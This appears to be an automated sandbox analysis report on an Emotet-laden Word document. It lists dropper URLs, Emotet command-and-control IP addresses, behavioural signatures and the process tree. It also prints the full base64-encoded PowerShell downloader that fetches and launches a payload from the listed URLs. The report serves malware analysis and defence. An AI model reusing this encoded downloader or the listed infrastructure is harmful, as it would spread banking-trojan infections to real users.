Overview

overview

10

task1

 

10

Analysis

  • max time kernel
    29s
  • resource
    win7v191014
  • submitted
    01-02-2020 01:28

Sharing

Copy URL
Twitter E-mail

General

  • Target

    970df6100d8375af169bb259df2c7bb1ad641294e34ed57dc3ad02a38371b4c7.doc

  • Sample

    200201-1m2rgh3dbx

  • SHA256

    970df6100d8375af169bb259df2c7bb1ad641294e34ed57dc3ad02a38371b4c7

Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://bolehprediksi.com/wp-includes/ifrEFSqSw/
exe.dropper

http://www.designindia.live/js/ycCKqHl/
exe.dropper

http://www.hair2mpress.com/oeiwosk36j3ss/wtuds/vedMDhc/
exe.dropper

http://www.worldnoticiasonline.com/wp-content/uploads/vvhaa000vj-mq98v-19988518/
exe.dropper

https://9jabliss.com/oirxio/nwkddr/

Extracted

Family

emotet

C2

45.55.179.121:8080

198.211.121.27:8080

75.127.14.170:8080

181.167.35.84:80

163.172.107.70:8080

58.92.179.55:443

154.70.158.97:80

181.39.96.86:443

68.183.18.169:8080

217.12.70.226:80

78.210.132.35:80

78.189.60.109:443

176.58.93.123:80

178.33.167.120:8080

201.183.251.100:80

78.189.165.52:8080

142.93.87.198:8080

82.145.43.153:8080

185.244.167.25:443

192.210.217.94:8080
rsa_pubkey.plain

Signatures

  • Suspicious behavior: EmotetMutantsSpam 1 IoCs
  • Drops file in System32 directory 4 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

    trojanbankeremotet
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Process spawned unexpected child process 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\970df6100d8375af169bb259df2c7bb1ad641294e34ed57dc3ad02a38371b4c7.doc"
    1⤵
    • Drops file in System32 directory
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:612
  • C:\Windows\System32\WindowsPowerShell\v1.0\PoWERsheLL.exe
    PoWERsheLL -e JABRAGkAeABnAHgAdQB3AHMAbQB3AGkAcABmAD0AJwBKAHIAcgBtAHIAZwB2AGQAZwBwACcAOwAkAEwAcwBiAGIAbABrAGgAcwBiAGsAdQBrACAAPQAgACcAMgAwADkAJwA7ACQASQB1AGMAbABrAGUAYQBwAD0AJwBaAGEAdwBzAGYAZQBzAHcAZQAnADsAJABXAGoAZQB3AHYAYQBkAHEAeQBtAHAAdwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQATABzAGIAYgBsAGsAaABzAGIAawB1AGsAKwAnAC4AZQB4AGUAJwA7ACQAUwBzAGMAeAB5AHMAdQBlAHEAPQAnAEkAcwBrAHMAdQB4AGUAYgBlAHYAdQBpACcAOwAkAFgAcQBpAHIAegBxAGUAbgA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBFAFQALgBXAGUAYgBjAGwAaQBFAE4AVAA7ACQATQBuAHQAYwByAHQAZQBwAGkAPQAnAGgAdAB0AHAAOgAvAC8AYgBvAGwAZQBoAHAAcgBlAGQAaQBrAHMAaQAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AaQBmAHIARQBGAFMAcQBTAHcALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBkAGUAcwBpAGcAbgBpAG4AZABpAGEALgBsAGkAdgBlAC8AagBzAC8AeQBjAEMASwBxAEgAbAAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGgAYQBpAHIAMgBtAHAAcgBlAHMAcwAuAGMAbwBtAC8AbwBlAGkAdwBvAHMAawAzADYAagAzAHMAcwAvAHcAdAB1AGQAcwAvAHYAZQBkAE0ARABoAGMALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB3AG8AcgBsAGQAbgBvAHQAaQBjAGkAYQBzAG8AbgBsAGkAbgBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdQBwAGwAbwBhAGQAcwAvAHYAdgBoAGEAYQAwADAAMAB2AGoALQBtAHEAOQA4AHYALQAxADkAOQA4ADgANQAxADgALwAqAGgAdAB0AHAAcwA6AC8ALwA5AGoAYQBiAGwAaQBzAHMALgBjAG8AbQAvAG8AaQByAHgAaQBvAC8AbgB3AGsAZABkAHIALwAnAC4AIgBzAFAATABgAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFUAbwBwAHoAbwBzAGEAaQB3AHEAPQAnAE4AbQBtAGYAawB5AHIAaABzAGUAaABuAGsAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFYAZwBvAGgAawBzAG8AZgBpAGEAIABpAG4AIAAkAE0AbgB0AGMAcgB0AGUAcABpACkAewB0AHIAeQB7ACQAWABxAGkAcgB6AHEAZQBuAC4AIgBkAG8AdwBgAE4AYABsAE8AYQBgAGQARgBJAGwAZQAiACgAJABWAGcAbwBoAGsAcwBvAGYAaQBhACwAIAAkAFcAagBlAHcAdgBhAGQAcQB5AG0AcAB3ACkAOwAkAEMAeQBsAHgAagBqAGwAZABkAGUAZgBjAD0AJwBaAHYAdQBxAHUAawByAHAAeQBrAHYAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABXAGoAZQB3AHYAYQBkAHEAeQBtAHAAdwApAC4AIgBsAGAARQBuAGcAVABoACIAIAAtAGcAZQAgADMAMwA2ADIANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAGAAZQBgAEEAVABlACIAKAAkAFcAagBlAHcAdgBhAGQAcQB5AG0AcAB3ACkAOwAkAFAAZwBjAHAAdABhAHgAawBsAHMAcgBwAD0AJwBJAGIAZgB3AHMAcABzAGkAbgB3ACcAOwBiAHIAZQBhAGsAOwAkAEEAbgB6AGEAYwBzAHkAcwBvAHgAPQAnAEkAeQB0AHAAawBiAHkAZQBpAGkAaAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABZAHoAdgBiAGgAcwBmAHoAagA9ACcASwBsAHEAegByAGoAdQBrAHkAcAAnAA==
    1⤵
    • Drops file in System32 directory
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    PID:1620
  • C:\Users\Admin\209.exe
    C:\Users\Admin\209.exe
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:2028
    • C:\Users\Admin\209.exe
      --280b8399
      2⤵
      • Suspicious behavior: EmotetMutantsSpam
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      PID:1444
  • C:\Windows\SysWOW64\devicesrestore.exe
    "C:\Windows\SysWOW64\devicesrestore.exe"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    PID:1168

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/612-2-0x0000000007D50000-0x0000000007D54000-memory.dmp

    Filesize

    16KB

    Download

  • memory/612-4-0x000000000A150000-0x000000000A154000-memory.dmp

    Filesize

    16KB

    Download

  • memory/612-5-0x000000000B1D0000-0x000000000B1D4000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1444-11-0x00000000002F0000-0x0000000000307000-memory.dmp

    Filesize

    92KB

    Download

  • memory/1444-12-0x0000000000400000-0x000000000049F000-memory.dmp

    Filesize

    636KB

    Download

  • memory/2028-9-0x0000000000280000-0x0000000000297000-memory.dmp

    Filesize

    92KB

    Download